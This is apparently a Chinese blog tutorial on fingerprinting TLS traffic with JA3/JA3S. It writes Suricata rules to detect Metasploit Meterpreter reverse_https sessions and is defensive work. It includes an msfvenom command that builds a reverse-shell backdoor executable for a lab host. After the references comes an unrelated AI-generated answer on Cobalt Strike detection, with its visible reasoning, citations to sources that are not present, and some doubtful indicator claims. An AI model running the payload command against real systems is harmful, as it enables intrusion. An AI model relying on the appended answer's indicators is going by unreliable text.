利用JA3和JA3S识别加密数据流量

1.前言

JA3 是一种比基于 IP 或基于域名的 IOC 更有效地检测 SSL 上的恶意活动的方法。 JA3 是根据SSL hello包的特征进行检测,而并非是检测通信内容。

在这些恶意软件样本中,C2服务器始终以完全相同的方式来响应恶意软件客户端,应该说是分毫不差。因此,即使流量被加密,并且,即使不知道C2服务器的IP地址或域名,因为它们会不断变化,我们仍然可以通过指纹来识别客户端和服务器之间的TLS协商,以提高恶意通信识别结果的置信度。

2.JA3计算原理

首先下载JA3工具,github地址为:https://github.com/salesforce/ja3 ,在这里以捕获的某网站为例,下面以这个pcap为例,介绍工具是如何计算的。

JA3 收集client Hello 数据包中以下字段的字节的十进制值;SSL 版本、接受的密码、扩展列表、椭圆曲线和椭圆曲线格式。然后,它按顺序将这些值连接在一起,使用“,”来分隔每个字段,并使用“-”来分隔每个字段中的每个值。

2.1 JA3字符串

2.1.1 第一部分

0x0303(16进制)=771(10进制)

771

2.1.2 第二部分

0x1301=4865;0x1302=4866····

4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53

2.1.3 第三部分

0-23-65281-10-11-35-16-5-13-18-51-45-43-27-17513-21

2.1.4 第四部分

0x001d=29;0x0017=23;0x0018=24

29-23-24

2.1.5 第五部分

0

最终组合为:771,4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,0-23-65281-10-11-35-16-5-13-18-51-45-43-27-17513-21,29-23-24,0

2.2 JA3哈希计算原理

通过对JA3字符串加密为MD5 32位,得到ja3_digest

cd08e31494f9531f560d64c695473da9

3.JA3S计算原理

JA3S 是 JA3用于server 的 SSL/TLS 通信和指纹服务器如何响应特定客户端。实际上就是从Server Hello数据包中提取的指纹信息,同样拿这个包举例子。

JA3S主要提取以下内容:

  • TLSVersion : TLS版本信息
  • Ciphers : 支持的密码套件
  • Extensions : 支持的扩展项

3.1 JA3S字符串

3.1.1 第一部分

Version: TLS 1.2 (0x0303)

0x0303(16进制)=771(10进制)

3.1.2 第二部分

Cipher Suite: TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (0xc02f)

0xc02f(16进制)=49199(10进制)

3.1.3 第三部分

Type: server_name (0)

Type: renegotiation_info (65281)

Type: ec_point_formats (11)

Type: session_ticket (35)

Type: application_layer_protocol_negotiation (16)

最终组成:771,49199,0-65281-11-35-16

3.2 JA3S哈希计算原理

对JA3S字符串进行哈希,771,49199,0-65281-11-35-16进行MD5加密,生成ja3_digest,即b898351eb5e266aefd3723d466935494

4.suricata JA3使用-MSF加密流量识别

Suricata提供了JA3集成(https://github.com/salesforce/ja3)。JA3用于对TLS客户端进行指纹识别。在使用suricata JA3识别之前,需要在suricat.yaml中开启对JA3的支持,将“app layer.protocols.tls.ja3 fingerprints”设置为“yes”

以下为JA3关键词:

  • ja3.hash:在JA3哈希(MD5)上匹配。
  • ja3.string:与JA3字符串匹配。
  • ja3s.hash:匹配JA3S哈希(MD5)
  • ja3s.string:与JA3S字符串匹配

识别MSF Meterpreter/reverse_https通信

4.1 生成后门文件

msfvenom -p windows/x64/meterpreter_reverse_https -f exe -o https.exe LHOST=192.168.233.131 LPORT=9999

4.2 开启抓包

首先开启抓包功能,在win10测试机运行后门文件,kali上开启端口监听

4.3 捕获TLS协商过程

4.4 使用JA3进行指纹识别

由于其协商并不是TLS/SSL默认通信端口443,这里使用-a参数,在任何端口上查找hello包,而不仅仅是443端口

python .\ja3.py --json -a .\xxx.pcapng

JA3字符串:771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,5-10-11-13-35-23-65281,29-23-24,0

JA3哈希值:72a589da586844d7f0818ce684948eea

4.5 使用JA3S进行指纹识别

python .\ja3s.py --json -a .\xxx.pcapng

JA3S字符串:771,49200,65281-23

JA3S哈希值:fd4bc6cea4877646ccd62f0792ec0b62

4.6 编写suricata规则

根据JA3工具获取到的指纹信息编写规则,在/var/lib/suricata/rules/suricata.rules中编写检测规则

#JA3指纹-MSF
alert tls any any -> any any (msg:"疑似 MSF Meterpreter/reverse_https 加密通信行为";ja3.hash; content:"72a589da586844d7f0818ce684948eea";classtype: misc-activity;sid:0001; rev:1;)
#JA3S指纹-MSF
alert tls any any -> any any (msg:"疑似 MSF Meterpreter/reverse_https 加密通信行为"; ja3s.hash; content:"fd4bc6cea4877646ccd62f0792ec0b62"; sid:0002;)

4.7 使用suricata进行包检测

suricata -r /root/msf.pcapng

4.8 查看检测结果

通过日志可以看到流量命中cat /var/lib/suricata/rules/fast.log

参考链接:

通过 JA3(S) 实现 TLS 指纹识别 - H0t-A1r-B4llo0n

https://xz.aliyun.com/t/3889?page=1

Suricata IDS 入门 — 规则详解 - SecPulse.COM | 安全脉搏

6.18. JA3关键词 — Suricata 7.0.0-dev 文档

JA3 JA3S JARM学习 - 歇马 - 博客园

<think>好的,我需要回答用户关于Cobalt Strike网络流量特征分析检测的问题。首先,我得回顾已有的引用内容,看看有哪些关键点可以提取。引用[1]提到Cobalt Strike是C/S架构,分为客户端、服务端被控端,这可能涉及到流量中的客户端与服务端通信模式。引用[2]讨论了HTTP Beacon重定器流量走向分析,可能涉及HTTP请求的特征,比如URI、User-Agent等。引用[3]提到DNS idle,可能涉及DNS隧道或心跳机制。引用[4]提到了生成私钥公钥的方法,可能涉及SSL/TLS证书的特征。 接下来,我需要将这些信息组织成清晰的几个部分。可能分为流量特征检测方法两部分。流量特征包括协议层面的HTTP、DNS、SSL/TLS等,以及心跳机制、数据编码等。检测方法可以从流量分析、证书检测、行为分析等方面入手。 要注意用户可能的需求是检测或防御Cobalt Strike的攻击,因此需要给出具体的特征检测手段,比如特定的HTTP头部、User-Agent字符串、证书信息等。同时,引用中的端口转发工具可能涉及特定端口的使用,这也是一个特征点。 需要确保每个特征都有对应的引用来源,比如HTTP Beacon的User-Agent在引用[2]中提到,证书信息在引用[4]中涉及。此外,DNS心跳机制在引用[3]中可能有所说明。 还要注意用户的问题可能涉及流量分析工具的使用,比如Wireshark或Suricata,可以建议使用这些工具进行检测。最后,生成相关问题需要考虑用户可能进一步想了解的内容,比如如何分析加密流量或如何配置检测规则。</think>### Cobalt Strike网络流量特征分析 Cobalt Strike的流量特征主要体现在协议行为、加密方式、心跳机制等方面,以下是关键特征及检测方法: #### 一、流量特征 1. **HTTP Beacon通信** - **固定URI模式** HTTP请求路径通常包含固定字符串如`/submit.php`、`/pixel.gif`或随机生成的URI,但长度格式存在规律性(如`/abcd1234`)[^2]。 - **特定User-Agent** 默认使用类似`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36`的User-Agent,部分版本可能包含`CobaltStrike`标识。 - **POST数据编码** 数据传输采用Base64或XOR加密,HTTP POST请求体长度多为固定分段(如每段4KB)。 2. **DNS隐蔽信道** - **DNS心跳机制** 定期发送DNS查询请求(A记录或TXT记录),域名前缀包含编码数据(如`c2md5.example.com`),响应可能携带指令[^3]。 - **空闲查询(DNS Idle)** 长时间无任务时仍维持低频DNS查询,用于维持连接[^3]。 3. **SSL/TLS证书特征** - **自签名证书** 默认使用自签名证书,证书字段中可能包含`O=Cobalt Strike, CN=Major Cobalt Strike`等标识[^4]。 - **证书有效期异常** 部分证书有效期设置极长(如10年),与正常商业证书差异明显。 4. **心跳包与重定向** - **心跳间隔规律** Beacon默认每60秒发送心跳包,流量时间间隔呈现明显周期性。 - **端口转发工具特征** 使用`reGeorg`或`SOCKS Proxy`时,流量中可能包含`X-CMD`、`X-PORT`等特殊HTTP头部。 #### 二、检测方法 1. **流量特征检测** - 通过Wireshark筛选HTTP请求中的固定URI模式或异常User-Agent。 - 分析DNS日志中高频查询同一域名或子域名随机化的行为。 2. **证书指纹匹配** - 提取SSL/TLS证书的`Subject``Issuer`字段,匹配已知Cobalt Strike证书指纹[^4]。 - 使用JA3/JA3S检测工具识别加密协议特征。 3. **行为分析** - 监测低频但持续的心跳流量(如每分钟1次HTTP POST)。 - 识别同一内网IP与多个外部IP的异常通信(C2服务器切换)。 4. **入侵检测规则(示例)** ```yaml # Suricata规则示例 alert http any any -> any any (msg:"Cobalt Strike User-Agent Detected"; http.user_agent; content:"CobaltStrike"; nocase; sid:10001;) alert dns any any -> any any (msg:"Suspicious DNS Beacon"; dns.query; content:".example.com"; depth:12; sid:10002;) ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值